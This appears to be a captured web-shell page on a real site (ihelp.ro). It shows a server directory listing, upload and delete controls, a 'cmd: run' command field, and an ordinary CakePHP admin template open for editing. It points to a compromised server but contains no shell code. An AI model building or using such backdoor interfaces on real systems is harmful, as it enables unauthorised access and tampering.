/
var
/
www
/
vhosts
/
ihelp.ro
/
httpdocs
/
templates
/
Admin
/
CauseNews
/
/var/www/vhosts/ihelp.ro/httpdocs/templates/Admin/CauseNews
mkdir
upload
Name
Size
Mode
Actions
add.php
1498
0644
edit
dl
rm
edit.php
1531
0644
edit
dl
rm
index.php
3503
0644
edit
dl
rm
Edit:
/var/www/vhosts/ihelp.ro/httpdocs/templates/Admin/CauseNews/index.php
(3503B)
<!-- Content Header (Page header) --> <section class="content-header"> <div class="container-fluid"> <div class="row mb-2"> <div class="col-lg-12"> <h1> <?php echo __('Cause News'); ?> <div class="float-right"><?php echo $this->Html->link(__('New'), ['action' => 'add'], ['class' => 'btn btn-success btn-xs']); ?></div> </h1> </div> </div> </div><!-- /.container-fluid --> </section> <!-- Main content --> <section class="content"> <div class="container-fluid"> <div class="row"> <div class="col-lg-12"> <div class="card"> <!-- /.box-header --> <div class="card-body table-responsive p-0"> <table class="table table-hover text-nowrap"> <thead> <tr> <th><?php echo $this->Paginator->sort('id'); ?></th> <th><?php echo $this->Paginator->sort('cause_id'); ?></th> <th><?php echo $this->Paginator->sort('name'); ?></th> <th><?php echo $this->Paginator->sort('slug'); ?></th> <th class="text-center"><?php echo $this->Paginator->sort('is_published'); ?></th> <th class="actions text-center"><?php echo __('Actions'); ?></th> </tr> </thead> <tbody> <?php foreach ($causeNews as $causeNews) : ?> <tr> <td><?php echo $this->Number->format($causeNews->id); ?></td> <td><?php echo $causeNews->has('cause') ? $this->Html->link($causeNews->cause->name, ['controller' => 'Causes', 'action' => 'view', $causeNews->cause->id]) : ''; ?></td> <td><?php echo h($causeNews->name); ?></td> <td><?php echo h($causeNews->slug); ?></td> <td class="text-center"><?php echo ($causeNews->is_published) ? '<i class="fa fa-check-circle text-success" title="Active"></i>' : '<i class="fa fa-times-circle text-danger" title="Inactive"></i>' ?></td> <td class="actions text-center"> <?php echo $this->Html->link(__('Edit'), ['action' => 'edit', $causeNews->id], ['class' => 'btn btn-info btn-xs']); ?> <?php echo $this->Form->postLink(__('Delete'), ['action' => 'delete', $causeNews->id], ['class' => 'btn btn-danger btn-xs'], ['confirm' => __('Are you sure you want to delete # {0}?', $causeNews->id)]); ?> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <!-- /.box-body --> </div> <!-- /.box --> </div> </div> <div class="row"> <div class="col-sm-12"> <?php echo $this->element('paginator'); ?> </div> </div> </div> </section>
Save
cmd:
run